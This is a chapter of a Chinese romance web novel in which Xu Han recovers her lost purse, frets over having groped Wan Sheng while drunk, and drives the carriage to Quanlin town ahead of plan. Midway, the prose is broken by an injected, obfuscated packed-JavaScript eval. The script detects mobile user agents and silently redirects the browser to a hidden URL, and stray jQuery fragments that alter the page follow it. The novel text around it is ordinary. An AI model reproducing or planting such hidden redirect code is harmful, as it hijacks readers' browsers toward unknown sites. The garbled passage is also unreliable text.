19. 第 19 章

作品:《揽春色

    “你二人可曾见过我的荷包?”许菡刚睡醒就发现荷包不见了,着急忙慌的四处找。到了万盛的屋子,看到殷成和万盛的刹那,便忙问荷包。


    生怕二人不记得那荷包长什么模样,她还特意言道:“上面绣着荷花,装的鼓鼓的。”


    目光从二人脸上不停的徘徊,见两人都是一副淡然模样,还以为他们都没见过。


    “完了!”


    许菡聋拉着肩,失魂落魄的喃喃着:“我明明记得去酒楼都还有那个荷包呢,怎么就没了呢?”


    可如今无论是在哪儿弄丢的,都找不回来了。


    多数是被人捡走了。


    “里面可是有三锭银子呢,还有点碎银子和几枚铜板呢……这么多银子,没了。”


    许是喝了酒的缘故,睡醒便觉头疼欲裂,此刻更是懊恼。


    “早知道就不喝酒了。”


    这下好了,喝些酒,昏睡一夜,连银子都弄丢了。


    她甚至连没舍得花银子呢。


    结果省到如今,竟是给弄丢了。


    她失魂落魄的低着头,下一瞬却见万盛慢悠悠的将一荷包拿出来——正是她的荷包!


    “我的荷包!”许菡激动的忙拿起荷包打开一看,里面的银子都还在,就连石子也都在。


    她双手合十,冲着屋顶说道:“谢天谢地,没丢就好。”


    “什么谢天谢地,你该谢谢我二人才是。你这荷包险些就要丢了,是阿盛帮忙给你留住的。若不是他,还真被人偷了去。”


    “怎么会有人偷我的荷包啊?”


    许菡一脸的不可置信,“我都没什么银子的,偷我的荷包做什么。”


    但刚说出这话就留意到二人腰间的荷包都瘪瘪的,就她的荷包鼓鼓囊囊的。


    以前出门,最多就是跟着爹娘一起去镇上一趟,她腰间荷包都是轻飘飘的。那时倒是从不曾有人偷过她的荷包,如今这荷包沉甸甸的,被人盯上似乎也不足为奇。


    许菡恍然大悟,看着手里的荷包,又看看二人,“你们的银子呢?藏哪儿了?”


    “银票,藏袖子里。银子放荷包和包袱里。”


    “懂了。”许菡说着便将荷包中的石子都掏出来。


    殷成眉头一皱,“你荷包中为何有这么多石子?”


    “出门前,我就猜到我爹要给我银子,我便在路边捡了点世子装在荷包中,就是不想让他给我银子,好让他觉得我有的是银子。可没成想,我娘把银子放在我包袱里了。”说起这事,许菡仍是心头泛酸。


    算日子,他们都出来好几日了,也不知道娘的病怎么样了。


    正沉浸在难过之中,只见殷成突然拍了下脑门,直奔门口,小声嘀咕:“差点忘了!”


    说着就往外跑。


    “他忘什么了?”许菡不解。


    “汤婆子。”


    许菡倏地回头,很是不解:“汤婆子?”


    万盛嗯了声。


    下一瞬就见殷成抱着个汤婆子跑进来,递到许菡面前,哥们儿义气似的语气说道:“送你的。”


    “送我?”


    许菡愣了愣,才慢慢伸出,但又倏地收回。


    她皱起眉,“你为何要送我这个?”


    虽说这汤婆子对殷成而言应当不算贵,可这么无缘无故的送她汤婆子,实在是怪事。


    “阿盛让我买的,我也不知是为何。”殷成脱口而出。


    万盛:“……”


    还想伪装成是自己送的,转头就把他说出来了。


    只是殷成与许菡都看着他,万盛也只得给出个缘由:“听闻姑娘家怕冷,便让殷成去买了一个。”


    许菡哦了声,忙双手接下细看。有了这汤婆子,今日路上应当就不会冷了。她忙冲着二人道谢:“多谢万公子,多谢殷公子。”


    “不必客气,没花几个银子。”


    殷成又看看万盛,“既然是要启程去下一个镇子,咱们就各自回屋前去收拾包袱细软吧,到楼下再买些包子吃。”


    万盛与许菡一同应了声好。


    眼见殷成与许菡要一同离开,万盛不由得想起昨日在马车内的一幕,沉声喊:“许姑娘。”


    许菡停下脚步,回头看他。


    殷成亦是回头,可万盛却只同他说:“你速速去收拾包袱细软,再去给追云喂些草料。”


    “哦!差点忘了草料的事!”


    殷成简直像是遇上了什么大事,急匆匆的往外走。


    许菡仍是站在原地,等着万盛接下来的话。


    万盛眸光微暗,昨日被她摸过的小臂此刻莫名灼热发烫,热的他耳根都微微泛红。倒是更让许菡一头雾水,有些不明白他到底有何事。


    “万公子要说什么?”


    到底有什么话不好直说的,竟还能让他憋得耳根都红了。许菡很是好奇。


    万盛迟了一息,方才压了压嗓音言道:“许姑娘日后莫要喝酒了。”


    就只是为了说这事?


    许菡心头疑惑,迎上万盛的目光,只听他又说:“许姑娘出去吧。”


    还真就只是为了说这事啊!


    许菡更觉得事情不对劲,拿着荷包与刚到手的汤婆子慢吞吞的往门口走,但走出几步路又忽地停下来。


    不对劲!太不对劲了!


    好端端的怎么会突然说出这话?


    许菡脑中闪过一抹不好的猜想,抬手关上门,提脚朝着万盛走过去。


    万盛看着紧闭的房门,又看看她。


    这人关门做什么?


    眼见许菡快步朝他走来,他脚下竟退了半步。


    等许菡到了长案前,才忽地站定,小声问:“我昨日喝酒以后,可是做什么?”


    生怕万盛听不明白,她又补上一句:“可曾对你做过什么?”


    她这是……猜到了?还是昨日根本就是装醉?万盛心中直犯嘀咕。


    但转念一想就忽地明白了。


    她不大可能是装醉,毕竟实实在在的摔了一下。


    “是。”万盛干脆利落的承认了。


    许菡惊得合不拢嘴,可惊讶又渐渐变成了愧疚,忙低头道歉:“对不住啊万公子,我、我也不曾想过我会对你做什么。昨日一事都怪我无礼,你大人不记小人过,莫要与我一般计较。”


    “我若是亲了你,或者做了别的何事,你就当是没发生过……实在不行就当是被狗咬了一口!”


    她急起来连自己都骂。


    万盛眉峰微蹙,破天荒的愣了几息才反应过来:“……亲?”


    他尾音微扬,似是格外惊讶。


    许菡抬起头看他,“不是亲吗?那……那是摸了?摸腹肌?还是胸肌?或者……哎呀,算了算了!”


    摸哪儿如今已经不重要了。


    “万公子只当没发生过昨日一事,真是对不住。”


    万盛的脸色愈发难看,却又透着一丝疑惑,垂眸看看自己身子,却是不懂,“胸肌与腹肌……”


    听见外面的脚步声,他眸光看向门口,声音也紧跟着顿住。


    只是他恰好停住,许菡却误会了。


    “啊?都、都摸了啊?”


    造孽啊,喝点酒怎么对他动手了?


    许菡只得又冲着万盛赔不是,“我当真什么都不记得,万公子就当昨日一事不曾发生,这事天知地知你知我知,莫要让旁人知道了。”


    见她一直赔不是,万盛只得压下心中疑惑,故意沉着脸言道:“此事万某倒是能当不曾发生过,不过日后许姑娘只当欠万某一个人情,若有朝一日需得许姑娘为万某做些事,到时……”


    “只要是我能做到的,我定然愿意!”许菡没等他说完就答应下来。


    万盛冲着门口努努下巴,“许姑娘可以出去了。”


    许菡登时松一口气,忙拿着汤婆子和荷包往门口走。还没来得及打开门,就见门从外面被推开了。殷成站在门口,探头看向屋内,狐疑的目光在两人脸上徘徊。


    “你二人关什么门啊?这青天白日的,难道是在说什么坏事?”


    “没有没有!我二人怎会说什么坏事?”


    许菡心虚不已,干笑两声道:“殷公子与万公子慢慢聊,我先去收拾包袱细软。”


    “嗯,去吧。”


    眼见许菡从身边走过,殷成提脚朝着万盛走过去,又问一遍:“你二人方才在说何事?”


    万盛眸光微垂,看了看身上,很是好奇:“殷成,胸肌与腹肌……在何处?”


    “什么鸡?”殷成挠了挠头,“雄鸡不就是公鸡吗?这个我懂,这镇上应当有。另一个那什么鸡,我还真没听过。”


    万盛看他这一本正经的模样,脸色却肉眼可见的冷了下来。殷成还是不懂,甚至更好奇了,“那你到底说的什么鸡?”


    “……出去。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358531|182985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    眼见他似是生气了,殷成也不敢与他硬碰硬,只得老老实实的出去。


    刚跨出门就小声嘀咕:“出来就出来!”


    *


    许是心虚,前几日路上许菡都与万盛同坐在马车内,可今日她却提出要赶马车。甚至美其名曰,为了多谢殷成送了汤婆子,今日便由她赶马车,让殷成与万盛坐在马车内。


    难得有机会坐在马车内,殷成当即答应,又特意教了许菡该如何赶马车。


    好在许菡一教就会,马车行驶的格外稳。


    “就沿着这条路一直往前走就对了,也不必着急,省的累着追云。”


    “好!”许菡答应的爽快。


    随即殷成就放心大胆的坐在了马车内,还与万盛言道:“早知道买个汤婆子,这许姑娘就能帮我赶马车,我早就给她买了。”


    “阿盛,你说我今日要给她买些什么?好让她明日也帮我赶马车!”


    万盛不说话,只是闭上眼,想胸肌腹肌到底是哪。


    殷成却没眼力见的还在说:“要不我给些银子怎么样?反正这许姑娘喜好银子。”


    万盛依旧不说话,闭着眼,蓦然想起昨日那男子,“昨日带去的那人,当真认识骞黎的字?”


    “倒是认识些,但不曾全都认识。”


    能认识些也是好的。


    万盛低声道:“留他一命。”


    “明白。”


    ……


    两人在马车内坐着,许菡抱着汤婆子在马车外坐着,手是暖和了,可冷风从脸上刮过,冻的她牙都在打颤,但也只能强忍着。赶马车,也好过和万盛坐在马车内。


    一想到昨日喝了酒就对万盛动手动脚的事情,许菡就后悔不已。


    可这事也不能怪她吧。


    在现代社会,她与周存毕竟是谈了三年多,喝醉酒以后动手动脚也不稀奇。


    恰好万盛和周存长了一张一样的脸,喝醉酒以后,她大概是真把万盛当成周存了,才会摸了人家的腹肌和胸肌。


    就是不知道除了摸腹肌和胸肌,有没有说错什么话……


    马车慢悠悠的往前行驶,许菡心下盘算着这几日要离万盛远点。只是让她不曾想到的却是刚过午时,就赶到了下一个镇上。


    许菡扽紧马缰绳,小声嘀咕:“好像离得也没那么远。”


    怎么到了殷成口中倒像是特别远似的。


    她偏头冲着马车内喊:“到了镇上了!”


    正在马车内睡觉的殷成迷迷糊糊睁开眼,喃喃着重复:“到了?”


    又自言自语的补上一句:“还是睡觉过得快。”


    说完撩起帷帘就要弯腰出去,但看着面前的镇子,又看看许菡,甚至还回头看了看万盛,一副出大事的模样。


    见他表情不对,许菡顿觉大事不妙,“怎么了?”


    殷成抿了下唇,无措的看向万盛。


    万盛撩起小窗上的帷帘,看到外面的地方时便明白殷成为何不答了。


    只因许菡竟阴差阳错的把马车赶到泉林镇了。


    但他与殷成起初商议的,是要赶着马车绕两个镇子,在来泉林镇,到时候守在此处的手下将此地一切都已布置好,或许就能将许菡蒙混过去。


    结果,这人竟阴差阳错的直接把马车赶到了泉林镇!


    “我同你说的是沿着那条路一直往前走,你走岔路了?”殷成心慌责问。


    见他一脸严肃,许菡眨了眨眼,仔细想了想这一路遇到的岔路,一时半会儿还真想不起来哪里是走了岔路,只想着怎么离万盛远点了。


    难道真是她走错路了?


    “我不太记得了,可能是走岔路了,不过现在时辰尚早,倒是能退回去,再走别的路。”许菡一脸的愧疚,满心都是自己走岔路累着追云的不安。


    可这种时候再退回去走别的路,等绕过两个镇子,再来这镇上,不就露馅了吗?


    万盛起身从马车内出来,“没走错,就是这。殷成在同你说笑,这就是泉林镇。”


    事到如今,只好就这么进入泉林镇了。


    “这是泉林镇?”


    许菡惊喜不已,“那不就是到了吗?”


    是啊,到了。


    但却是阴差阳错的提前到了。


    殷成心下暗道:早知如此,就不让她赶马车了。


    也不知派来此地的手下,可曾安排好所有的事……